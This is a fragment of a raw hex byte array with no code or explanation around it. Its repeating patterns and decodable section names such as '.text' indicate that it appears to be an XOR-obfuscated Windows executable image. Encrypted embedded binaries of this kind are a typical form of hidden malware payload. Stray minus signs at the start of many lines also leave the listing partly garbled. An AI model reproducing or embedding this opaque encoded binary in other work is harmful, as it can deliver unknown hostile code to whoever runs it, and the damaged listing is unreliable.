0x66, 0x77, 0x73, 0x64, 0x0c, 0x73, 0xed, -0x2a, 0x9b, 0x35, 0x99, 0x66, 0x4e, 0x47, 0x73, 0x74, 0xef, 0x36, 0x9e, 0x0d, 0x73, 0x0c, 0x66, -0x63, 0x66, 0x67, 0x1b, 0x64, 0x56, 0x73, 0x76, 0xec, 0x26, 0x9c, 0x34, 0xf8, 0x23, 0x8f, 0x23, -0x9b, 0x73, 0x5f, 0x46, 0x67, 0x63, 0xef, 0x2b, 0x8b, 0xef, 0xea, 0xe3, 0x99, 0x99, 0x8c, 0xeb, -0xf2, 0xab, 0x98, 0x99, 0x8c, 0x34, 0xec, 0x36, 0x88, 0x36, 0x8c, 0x73, 0x43, 0x53, 0x64, 0x76, -0xf8, 0x2b, 0x8b, 0x22, 0x9b, 0x73, 0x6b, 0x46, 0x67, 0x63, 0xef, 0x33, 0x9f, 0x34, 0x98, 0x66, -0x64, 0x46, 0x73, 0x76, 0xec, 0x36, 0x8c, 0x36, 0x8c, 0x73, 0x67, 0x53, 0x64, 0x76, 0x19, 0x66, -0x98, 0x66, 0x70, 0x46, 0x73, 0x76, 0xec, 0x96, 0x39, 0xa5, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, -0x26, 0xed, 0x8b, 0x22, 0xef, 0x23, 0x7f, 0xef, 0x22, 0x8f, 0xe7, 0x1b, 0x8f, 0x67, 0x13, 0x71, -0x8f, 0x63, 0x9b, 0xaf, 0x99, 0x8c, 0x9b, 0xde, 0x72, 0x66, 0x67, 0x73, 0xef, 0x83, 0x2e, 0xa4, -0x6b, 0x73, 0xa8, 0xaa, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, -0x26, 0xed, 0x8b, 0xf0, 0x88, 0x7a, 0xb4, 0x23, 0x93, 0x72, 0x64, 0x66, 0x73, 0xa1, 0x22, 0x83, -0x64, 0x66, 0x73, 0x66, 0xa0, 0x36, 0x98, 0x66, 0x73, 0x66, 0x67, 0xb4, 0x21, 0x9e, 0x73, 0x66, -0x67, 0x73, 0xa3, 0x23, 0x97, 0x6a, 0x67, 0x73, 0x64, 0xa1, 0x36, 0x8e, 0x67, 0x73, 0x64, 0x66, -0xb4, 0x23, 0x8b, 0x72, 0x64, 0x66, 0x73, 0x0e, 0x67, 0x33, 0x64, 0x76, 0x19, 0x67, 0x0d, 0x72, -0xe9, 0x23, 0x97, 0x36, 0x98, 0x66, 0x54, 0x46, 0x73, 0x76, 0xee, 0x36, 0x98, 0xe5, 0x0e, 0x9a, -0x67, 0x06, 0x66, 0x8d, 0x06, 0xa1, 0x22, 0x87, 0x64, 0x66, 0x73, 0x66, 0x0d, 0x73, 0xef, 0x2b, -0x8f, 0x37, 0x98, 0x66, 0x6c, 0x46, 0x73, 0x76, 0x5a, 0x71, 0x65, 0x66, 0x73, 0x13, 0x65, 0x98, -0x3d, 0xa1, 0x36, 0x96, 0x66, 0x73, 0x64, 0x66, 0x1b, 0x6e, 0x26, 0x73, 0x74, 0x0c, 0x72, 0x0e, -0x67, 0x73, 0x76, 0x66, 0x8c, 0x73, 0x77, 0x53, 0x64, 0x76, 0xfa, 0x23, 0x9f, 0xf0, 0x19, 0x9e, -0x73, 0x12, 0x6b, 0xf8, 0x31, 0x9e, 0x21, 0x99, 0x72, 0x73, 0x44, 0x66, 0x63, 0x8d, 0x4c, 0x1b, -0x6c, 0x27, 0x73, 0x76, 0x0d, 0x72, 0x0e, 0x67, 0xfe, 0x23, 0x83, 0x23, 0x9b, 0x73, 0x7f, 0x46, -0x67, 0x63, 0xed, 0x23, 0x8b, 0xe5, 0x1a, 0x8b, 0x64, 0x12, 0x74, 0xa1, 0x22, 0x87, 0x65, 0x66, -0x73, 0x66, 0x54, 0xba, 0x6b, 0xe3, 0x1e, 0x99, 0x98, 0x8c, 0xe7, 0x1b, 0x8f, 0x66, 0x13, 0x6d, -0xe7, 0x1b, 0x83, 0x66, 0x13, 0x7d, 0x0e, 0x66, 0x19, 0x67, 0xec, 0x26, 0x98, 0x34, 0x8c, 0x73, -0x63, 0x53, 0x64, 0x76, 0xf8, 0x23, 0x9b, 0x23, 0x9b, 0x73, 0x73, 0x46, 0x67, 0x63, 0xef, 0x23, -0x87, 0xed, 0x82, 0x2e, 0xa7, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0xc7, 0x52, 0x64, 0x66, 0xdd, 0x47, 0x67, 0x73, 0xa6, 0x47, 0x73, 0x66, 0xbf, 0x52, 0x64, 0x66, -0x9b, 0x47, 0x67, 0x73, 0x92, 0x47, 0x73, 0x66, 0x63, 0x51, 0x64, 0x66, 0x67, 0x44, 0x67, 0x73, -0x42, 0x44, 0x73, 0x66, 0x5d, 0x51, 0x64, 0x66, 0x3d, 0x44, 0x67, 0x73, 0x04, 0x44, 0x73, 0x66, -0x11, 0x51, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x49, 0x73, 0x22, 0x04, -0x73, 0x66, 0x67, 0x73, 0x69, 0x66, 0x73, 0x66, 0xab, 0x73, 0x64, 0x66, 0x07, 0x46, 0x67, 0x73, -0x10, 0x6e, 0x73, 0x66, 0x7f, 0x73, 0x64, 0x66, 0x71, 0xe6, 0x65, 0xf3, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x1f, 0x46, 0x67, 0x73, 0x6c, 0x66, 0x73, 0x66, 0x67, 0x63, 0x64, 0x66, -0xe6, 0x64, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x63, 0x64, 0x66, 0xe6, 0x64, 0x67, 0x73, -0x4a, 0x12, 0x16, 0x1e, 0x13, 0x57, 0x09, 0x08, 0x73, 0x66, 0x67, 0x73, 0x64, 0x46, 0x73, 0x66, -0x5f, 0x73, 0x64, 0x66, 0x5d, 0x0f, 0x03, 0x12, 0x10, 0x07, 0x57, 0x53, 0x67, 0x73, 0x64, 0x66, -0x4b, 0x46, 0x67, 0x73, 0x78, 0x66, 0x73, 0x66, 0x49, 0x01, 0x00, 0x07, 0x07, 0x07, 0x67, 0x73, -0x30, 0x46, 0x73, 0x66, 0x47, 0x73, 0x64, 0x66, 0x5d, 0x14, 0x03, 0x12, 0x10, 0x07, 0x57, 0x10, -0x08, 0x1f, 0x10, 0x0b, 0x17, 0x66, 0x67, 0x73, 0x10, 0x46, 0x73, 0x66, 0xab, 0x73, 0x64, 0x66, -0x5d, 0x14, 0x03, 0x12, 0x10, 0x07, 0x57, 0x1c, 0x1d, 0x09, 0x00, 0x04, 0x14, 0x66, 0x67, 0x73, -0x24, 0x47, 0x73, 0x66, 0x73, 0x73, 0x64, 0x66, 0x5d, 0x0f, 0x03, 0x12, 0x10, 0x07, 0x57, 0x54, -0x67, 0x73, 0x64, 0x66, 0x27, 0x47, 0x67, 0x73, 0x70, 0x66, 0x73, 0x66, 0x49, 0x1a, 0x00, 0x07, -0x07, 0x07, 0x43, 0x40, 0x64, 0x66, 0x73, 0x66, 0x0f, 0x52, 0x64, 0x66, 0x4b, 0x66, 0x67, 0x73, -0x4a, 0x0f, 0x17, 0x07, 0x13, 0x12, 0x40, 0x52, 0x73, 0x66, 0x67, 0x73, 0xc4, 0x47, 0x73, 0x66, -0x9f, 0x73, 0x64, 0x66, 0x5d, 0x0f, 0x03, 0x12, 0x10, 0x07, 0x57, 0x50, 0x67, 0x73, 0x64, 0x66, -0x73, 0x56, 0x67, 0x73, 0x4d, 0x74, 0x73, 0x66, 0x49, 0x17, 0x05, 0x12, 0x12, 0x66, 0x67, 0x73, -0x0c, 0x47, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0xee, 0x44, 0x73, 0x66, -0x67, 0x53, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0xc7, 0x52, 0x64, 0x66, 0xdd, 0x47, 0x67, 0x73, -0xa6, 0x47, 0x73, 0x66, 0xbf, 0x52, 0x64, 0x66, 0x9b, 0x47, 0x67, 0x73, 0x92, 0x47, 0x73, 0x66, -0x63, 0x51, 0x64, 0x66, 0x67, 0x44, 0x67, 0x73, 0x42, 0x44, 0x73, 0x66, 0x5d, 0x51, 0x64, 0x66, -0x3d, 0x44, 0x67, 0x73, 0x04, 0x44, 0x73, 0x66, 0x11, 0x51, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0xed, 0x66, 0x30, 0x0a, 0x08, 0x00, 0x01, 0x2e, 0x12, 0x08, 0x03, 0x1f, 0x01, 0x66, 0xc5, 0x62, -0x35, 0x16, 0x08, 0x03, 0x12, 0x15, 0x02, 0x20, 0x01, 0x0b, 0x12, 0x16, 0x0f, 0x1c, 0x16, 0x03, -0x73, 0x66, 0xbc, 0x76, 0x33, 0x07, 0x1a, 0x12, 0x21, 0x1c, 0x16, 0x35, 0x1a, 0x08, 0x00, 0x1f, -0x01, 0x29, 0x11, 0x0c, 0x02, 0x10, 0x10, 0x66, 0xcc, 0x66, 0x24, 0x01, 0x01, 0x07, 0x07, 0x03, -0x22, 0x05, 0x01, 0x08, 0x07, 0x27, 0x67, 0x73, 0x66, 0x62, 0x3c, 0x16, 0x02, 0x1d, 0x21, 0x10, -0x16, 0x08, 0x13, 0x32, 0x64, 0x66, 0x11, 0x67, 0x22, 0x0b, 0x0d, 0x12, 0x27, 0x0e, 0x15, 0x16, -0x05, 0x02, 0x73, 0x66, 0xa8, 0x77, 0x36, 0x03, 0x00, 0x13, 0x0a, 0x16, 0x30, 0x0e, 0x01, 0x03, -0x06, 0x17, 0x64, 0x66, 0x90, 0x66, 0x24, 0x01, 0x01, 0x07, 0x07, 0x03, 0x37, 0x01, 0x0b, 0x05, -0x16, 0x15, 0x14, 0x32, 0x64, 0x66, 0x89, 0x64, 0x20, 0x16, 0x10, 0x32, 0x1b, 0x14, 0x02, 0x12, -0x00, 0x25, 0x1c, 0x08, 0x13, 0x16, 0x1c, 0x12, 0x73, 0x66, 0x3f, 0x76, 0x37, 0x03, 0x07, 0x32, -0x0f, 0x01, 0x01, 0x07, 0x17, 0x25, 0x08, 0x1d, 0x10, 0x03, 0x0b, 0x12, 0x67, 0x73, 0xaf, 0x63, -0x25, 0x0f, 0x15, 0x07, 0x11, 0x07, 0x1f, 0x27, 0x0b, 0x1f, 0x0b, 0x05, 0x36, 0x1e, 0x67, 0x73, -0x7b, 0x60, 0x24, 0x14, 0x0e, 0x07, 0x01, 0x36, 0x01, 0x09, 0x04, 0x16, 0x17, 0x15, 0x3e, 0x03, -0x0a, 0x1c, 0x16, 0x1f, 0x73, 0x66, 0x8b, 0x73, 0x27, 0x14, 0x16, 0x07, 0x13, 0x16, 0x37, 0x03, -0x1e, 0x07, 0x17, 0x1b, 0x0b, 0x14, 0x16, 0x27, 0x67, 0x73, 0x2f, 0x23, 0x21, 0x28, 0x22, 0x3f, -0x57, 0x54, 0x5d, 0x02, 0x0b, 0x1f, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x8f, 0x8e, 0xe8, 0x73, 0x64, 0x66, 0x13, 0xef, 0x82, 0x42, 0xb6, 0x02, 0xf8, 0x34, 0x57, 0xf8, -0x36, 0x6a, 0xf8, 0x34, 0x73, 0x42, 0x9b, 0x69, 0xc4, 0x2c, 0x41, 0xf8, 0x16, 0x4e, 0x42, 0xa6, -0xcb, 0x4f, 0x05, 0x1a, 0x71, 0x4a, 0x47, 0xb2, 0xab, 0x6b, 0x72, 0xa1, 0x2e, 0x06, 0x8b, 0x34, -0x24, 0xed, 0x35, 0x63, 0xef, 0x24, 0x4f, 0x67, 0xb7, 0xf8, 0x24, 0x1e, 0xf6, 0xa6, 0x13, 0x3f, -0x65, 0xb6, 0xf8, 0x2e, 0x7f, 0xf8, 0x3c, 0x46, 0x72, 0xb5, 0x37, 0xf6, 0xad, 0x12, 0x4f, 0x57, -0x98, 0x3a, 0xef, 0x52, 0xf8, 0x67, 0xb1, 0x42, 0xa4, 0xca, 0xb2, 0xa9, 0x6a, 0x72, 0xa3, 0x5e, -0x93, 0x13, 0x93, 0x70, 0x19, 0x9e, 0x48, 0x1b, 0x43, 0x06, 0x84, 0x3e, 0xf8, 0x3e, 0x43, 0x72, -0xb7, 0x00, 0xf8, 0x6a, 0x2c, 0xf8, 0x3c, 0x7a, 0x72, 0xb5, 0xec, 0x77, 0xef, 0x67, 0xa3, 0xef, -0x23, 0x57, 0x40, 0x3d, 0x28, 0x07, 0x3e, 0x29, 0x35, 0x99, 0x93, 0x3e, 0x38, 0x29, 0xef, 0x74, -0x9a, 0xe6, 0x98, 0x8c, 0x9b, 0x3b, 0x1b, 0x55, 0x55, 0x73, 0x64, 0x0e, 0x04, 0x15, 0x55, 0x2c, -0x30, 0x0e, 0x3f, 0x11, 0x41, 0x74, 0xed, 0x8e, 0x8c, 0xb6, 0xdf, 0xe3, 0x65, 0x66, 0x73, 0x4f, -0xa3, 0x27, 0x34, 0x0e, 0x5a, 0xe6, 0x0c, 0x73, 0x9b, 0xb3, 0x19, 0x6c, 0x0f, 0xb3, 0xcc, 0x67, -0x59, 0x0e, 0x65, 0x73, 0x61, 0x5f, 0xfa, 0x80, 0x37, 0x23, 0x34, 0x36, 0x33, 0x36, 0x27, 0x23, -0x0c, 0x8c, 0x7c, 0xb9, 0x87, 0x8c, 0xb1, 0xf1, 0x19, 0x76, 0x31, 0x24, 0x0c, 0xff, 0xd6, 0x12, -0x06, 0x8c, 0xb1, 0xe3, 0xb3, 0x12, 0x6d, 0x8c, 0x2a, 0x6e, 0x06, 0x8a, 0x8f, 0x14, 0x64, 0x66, -0x73, 0x0c, 0x67, 0x19, 0x60, 0x30, 0x24, 0x0e, 0x65, 0xaa, 0xac, 0x39, 0x8c, 0xb3, 0xe4, 0x8b, -0x64, 0x18, 0x45, 0xed, 0x51, 0x19, 0x24, 0x0e, 0x73, 0x76, 0x67, 0x73, 0x32, 0x0c, 0x73, 0x0e, -0x3f, 0xd7, 0x37, 0x83, 0x8c, 0xb3, 0xf4, 0x20, 0x0e, 0x66, 0x25, 0x35, 0x30, 0x1b, 0x66, 0xbf, -0xbb, 0x39, 0x98, 0xa6, 0xe7, 0x9e, 0x73, 0x1b, 0x4f, 0x2b, 0x0c, 0x66, 0x33, 0x66, 0x67, 0x19, -0x64, 0x36, 0x1b, 0x6d, 0x48, 0x7c, 0x54, 0x99, 0xa6, 0x31, 0x0f, 0x06, 0x0a, 0x2b, 0x12, 0x99, -0xb2, 0x2d, 0x3a, 0x99, 0x7f, 0x42, 0x68, 0xf6, 0x14, 0x99, 0x8c, 0x99, 0x8e, 0xe8, 0x9b, 0x99, -0x8c, 0x67, 0xa4, 0x5a, 0xa2, 0x13, 0xb2, 0xa5, 0xdc, 0x83, 0xd1, 0xc4, 0x25, 0x0c, 0x67, 0x20, -0x9b, 0xb3, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 